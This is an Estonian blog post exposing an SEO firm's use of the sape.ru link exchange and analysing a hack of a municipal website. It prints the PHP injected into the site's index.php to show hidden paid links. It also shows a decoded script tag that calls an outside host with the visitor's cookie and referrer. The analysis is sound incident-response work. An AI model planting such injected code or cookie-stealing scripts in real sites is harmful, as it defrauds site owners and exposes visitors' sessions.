õpib ise ja õpetab edasi, vahel ka tagasi

Pealtnägija 26.10.2011 lugu lingibörsi abil SEO-teenust pakkuvast firmast Optim Technology väärib veidi pikemat taustaselgitust – nii sisulises kui tehnilises mõttes (mh sai tutvutud saates mainitud vallaveebi häkiga seestpoolt ja aidatud neil pättvara veebist eemaldada).

Lühike sisuline sünops on järgnev:

• Optim Technology nimeline seltskond pakub väidetavalt oma SEO-laboris väljatöötatud lahendust aitamaks saitidel skoorida Google’is jt otsimootorites
• Tegelikult kasutatakse selleks lingibörse (vallaveebi juhtumi puhul venelaste sape.ru) ehk teenuseid, mis võimaldavad ühel poolel paigutada veebi tekstilinkide müümise koodi ja teisel poolel neisse veebidesse linke osta
• Lingibörsidesse on sisse ehitatud mh pidev monitooring, nt kui Google võtab linke müünud saidi oma indeksist maha peatub automaatselt reklaam/rahavoog jne – ehk kõik mänguosalised on teadlikud, et otsimootorid peavad sellist tegevust lubamatuks ning tegelevad igapäevaselt aktiivse kassi-hiire-mänguga
• Lingibörsi kood satub veebidesse mitmel moel – leidub pisemate saitide omanikke kes kasutavad võimalust raha teenida (mh on suht mõttetu sisuga liiklust suunavate minisaitide pidamine täiesti eraldi tegevusvaldkond SEO-maailmas), on veebimeistreid kes klientide teadmata nende veebe ära kasutavad – ja lisaks on hea äri-idee häkkida massiliselt veebisaitidesse pannes need linke kuvama
• Vaadates Optimi ja nende klientide sape.ru börsilinke paistab, et .ru puhul on tegemist peamiselt linke müüvate veebidega ja mitte-.ru puhul häkitud saitidega – muuhulgas jäi silma, et samal päeval (öösel) saates mainitud vallaveebiga on täpselt sama kood lisatud ka ühte hispaaniakeelsesse veebi ehk tegu on olnud business-as-usual häkkeriga kes tõenäoliselt hankis endale veidike FTP-paroole ja asus nende abil raha teenima (vaadates vallaveebi logisid pakun, et häkker on pärit vene/ukraina suunalt)

Pärast Pealtnägija intervjuud on Optim lisanud oma veebi tööriista mis peaks aitama leida veebilehele peidetud spämm-linke ning deklaratsiooni:

Optim Technology eksperimenteerib aktiivselt rahvusvaheliste tehnoloogiatega, mis hõlmavad ka lingibörside kasutamist. Samas soovime, et linkide müük Eesti Vabariigis toimuks 100% seaduslikel alustel. Pole midagi halba selles, kui koduleht osaleb lingibörsidel lehe omaniku soovil ning teenides omanikule lisatulu. Samuti tuleks sellisel viisil teenitud tulult maksta ka seadustega määratud maksud.

Paraku on Optim kas jätnud lugemata Google’i veebimeistritele mõeldud Quality guidelines’i (ehk nad ei jaga SEO’st ööd ega mütsi, milles ma sügavalt kahtlen) või eksitab tahtlikult oma kliente – sest vägagi selge sõnaga on seal öeldud nii:

Avoid tricks intended to improve search engine rankings. A good rule of thumb is whether you’d feel comfortable explaining what you’ve done to a website that competes with you. Another useful test is to ask, “Does this help my users? Would I do this if search engines didn’t exist?”

Don’t participate in link schemes designed to increase your site’s ranking or PageRank. In particular, avoid links to web spammers or “bad neighborhoods” on the web, as your own ranking may be affected adversely by those links.

Tegemist ei ole muideks mingi uue teemaga, näiteks jääb kiire guugeldamisega näppu Matt Cutts’i postitus aastast 2005 Text links and PageRank – ehk Google tegeleb aktiivselt sellega, et tabada müüdud linke ning vältida nende arvestamist otsitulemuste järjestamisel.

Olgu lisatud, et peidetud linkide avastamisel saab linkiv sait nipsti indeksist kinga – näiteks sattusin ma 2009-suvel mõnede Eesti saitide peale mille sappa oli neid haldav veebimeister lisanud lingid parim-ee kataloogi alamlehtedele. Palusin saidi-omanikul lisada lehele Google Webmasters Tool’i tuvastuskoodi ja sain peagi näha järgmist teadet (kuna veebimeister on vahepeal vahetunud peidan saidi nime):

Ja otseloomulikult pole Google’i poliitikas midagi erakorralist, ka kõik teised otsimootorid näevad vaeva pakkumaks “orgaanilisi” tulemusi … ja kes mõistab venet võib vaadata (arvatavasti autorikaitse eesmärgil suvaliste klipijuppidega pikitud) intervjuud Война между Яндекс и биржой ссылок sape.ru kus viimase tehnikapealik selgitab süsteemi tööd. Muideks – isegi Optimi ärimudel “arve ainult toimiva positsioneerimise eest” ei ole unikaalne vaid lingibörsi-vahenduse vallas pigem tavapärane.

Tänu tegelastele nagu sape.ru ja selliste teenuste pisivahendajatele nagu Optim saavad kasutajad otsitulemusi mis ei vii neid mitte parima kliendireputatsiooniga ettevõtte juurde vaid seltskonda keda ei häiri ebaeetiline turundus kanalites mille peamiseks kasutajaks tunduvad olema saidid stiilis asian-t33n-pr0n-com ja russian-mail-order-brides-co-uk.

Septembri algul teemaga tegeledes jäi silma näiteks selline valik Eesti ettevõtete domeene mis kasutasid sape.ru börsi teenust (samadel saitidel oli ka Optimi enda linke miska tundub, et tegemist on nimelt nende klientide ja mitte omal-käel-üritajatega): aknauksemaailm-ee, sfinksehitus-ee, kodusisu-ee, call-ee, veebiabi-ee, planb-ee, lenovo-ee, ereal-ee, kauponline-ee, uksetehas-ee, gidrocity-ee. Pealtnägija tarbeks tehtud helita kattevideo otsimisest, leidmisest ja peidetud linkidest leiab siit.

Kui leiad siit nimekirjast oma konkurendi (või lihtsalt on veidi aega üle) siis soovitan teha otsing stiilis link:uksetehas.ee ning seejärel astuda läbi Google Webmaster Tools all olevast Report paid links tööriistast (eeldab sisselogimist) ning täita vorm.

Nüüd aga tiba tehnilisemaks – kuidas siis asi käib? Hea ülevaate linkide ostmisest SAPEs annab nende enda õppevideo http://vimeo.com/23869111 ja tõepoolest, tegemist on väga vinge tööriistaga mis muuhulgas võimaldab otsida sobilikke saite lähtuvalt märksõnadest ja pagerank’ist, hallata keerulisi kampaaniad ning kontrollida ostetud linkide toimimist.

Veebimeistri jaoks on olemas õpetused kõigi tuntud sisuhalduslahenduste jaoks – reeglina PHP-kood mis suhtleb SAPE serveriga, hangib sealt värksed lingid ning siis kuvab need veebilehel sobilikus kohas. Kood sokutatakse sisuhalduses mõnda vähekäidavasse nurgatagusesse ja näiteks Lasva valla veebi puhul pöördus selle poole jupike Typo3 index.php sabas:

$sp_script = $_SERVER['DOCUMENT_ROOT'].'/fileadmin/tv-templates/template1/images/401.php';
$style="<style type=\"text/css\">\nhtm, bod {\n\tpadding: 0;\n\tmargin: 0;\n\theight: 100%;\n}\n\n";
$style.="#sp, #sp a {\n\tfont-size: 9px;\n\tcolor: #E8E8E8;\n\tborder-bottom: none;\n\tclear: both;\n}\n</style>\n\n";
while(is_integer(strpos($contents,"<a ")) && is_integer(strpos($contents,"</a>")))
{
$new_contents.=substr($contents,0,strpos($contents,"<a "));
$contents=substr($contents,strpos($contents,"<a "));
$ahref = substr($contents,0,strpos($contents,"</a>")+4);
$contents=substr($contents,strpos($contents,"</a>")+4);
if (!strpos($ahref,"href=\"http://".$_SERVER['HTTP_HOST']) && !strpos($ahref,"href=\"<a href="http://www">http://www</a>.".$_SERVER['HTTP_HOST']) && !strpos($ahref,"href='http://".$_SERVER['HTTP_HOST']) &&
!strpos($ahref,"href='<a href="http://www">http://www</a>.".$_SERVER['HTTP_HOST']) && strpos($ahref,"http"))
{ $ahref=str_replace("<a ","<noindex><a ",$ahref); $ahref=str_replace("</a>","</a></noindex>",$ahref);$ahref=str_replace("<\\/a>","<\\/a></noindex>",$ahref); }
$new_contents.= $ahref;
}
$new_contents.=$contents;
if (strpos($new_contents,"</body>") && strpos($new_contents,"</head>"))
{
$new_contents = str_replace("</head>",$style."</head>",$new_contents);
$new_contents = str_replace("charset=iso-8859-1","charset=utf-8",$new_contents);
$new_contents = str_replace("charset=ISO-8859-1","charset=UTF-8",$new_contents);
echo substr($new_contents,0,strpos($new_contents,"</body>"));
require_once($sp_script);
echo substr($new_contents,strpos($new_contents,"</body>"));
}
else { echo $new_contents; }

Nagu näha lisatakse saidi enda linkidele ühtlasi noindex vältimaks väärtusliku “lehemahla” lahjendamist mitte-börsi linkide poolt. Väga kaunis ja professionaalne :-)

Pealtnägija jaoks tehtud teises kattevideos soovitaks aga eraldi vaadata kohta mis algab ca 1:20 peal – seal on näha konkreetse lingibörsikasutaja kood ning kui seda guugeldada tuleb välja üks hispaaniakeelne sait … mis on juhtumisi saanud endale börsikoodi samal päeval Lasva veebiga ehk 08.11.2010:

Sarnast SAPE-linkide märgendust ehk <div id=’sp’> hakkas silma veel mitmes saidis, enamus neist Dreamhost’i all:

• go.org.nz 69.163.150.4 apache2-udder.brewers.dreamhost.com
• www.lgc.org 69.163.167.250 apache2-emu.reds.dreamhost.com
• datingfoundry.com 69.163.185.120 apache2-linus.yaounde.dreamhost.com
• www.sumaqperu.com 69.163.204.191 apache2-fritz.suva.dreamhost.com
• www.gundaroobushfestival.org.au 69.163.179.108 apache2-prance.vikings.dreamhost.com
• www.bogotabiketours.com  69.163.172.12 apache2-adamant.bulls.dreamhost.com
• escuelasinestres.org 69.163.203.250 apache2-emu.sansalvador.dreamhost.com
• cnuny.org 188.120.245.97 heyhosting.com
• eutcartagena.es 212.36.82.107 fnhca-29.srv.cat

Tiba erinev tehnoloogia ehk teksti sisse pikitud lingid jäid silma saitides:

• forestig.com
• macyscoffee.com
• www.punjabjustice.org

Kohvi-saidist leiab muideks keset ajalooteksti lingi veebiabi-ee peale… ja tellimise lehelt Optimi enda taanikeelse saidi promo:

Päris alati ei pruugi saidi häkkimine aga peidetud tekstilinkidega piirduda – sattusin peale ka sellisele saidile nagu www.campnuhop.org kus lehesabas olev kood nägi välja palju huvitavam:

See pikk liitmistehe annab tulemuseks uue koodjupi:

<script src="http://sbdtds.com/acounter.js?r=&c=&i=bc193015995f14dc4cefc81636413366a&h=campnuhop"></script>

Nagu näha (vaata kasvõi kattevideo liikuvad pilti) käivitatakse kasutaja brauseris javascript mille alla-laadimise käigus teavitatakse serverit muuhulgas kasutusel olevast brauserist… ja see c= parameeter sisaldanuks saidi cookie’t (mis võimaldaks mh tulevikus minuna sisse logida) ning r= refereri (ehk kuidas kasutaja laagri lehele tuli). Vot nii.

Kes oskab ja tahav kaevab (või kaebab) edasi, mina nüüd jälle jupp aega meedias ei esine (see siin oli lihtsalt liiga huvitav juhtum – olen nimelt mõnda aega pisteliselt peidetud linkide teemaga kokku puutunud ning aidanud veebe puhastada / turvaintsidente lahendada; lisaks mainis Mihkel Kärmas mulle teemat kohas mille veebis ma 2009-suvel esimest korda peidetud linkidega kokku puutusin … ning ma lihtsalt ei saanud jälgida oma head tava anda veidi taustainfot ja siis ajakirjanik pikalt saata; jamuideks, guugeldage veidi ja tekib tunne, et ka Optimi taga on PR- ja ajakirjandusteaduskonna lõpetanud :-).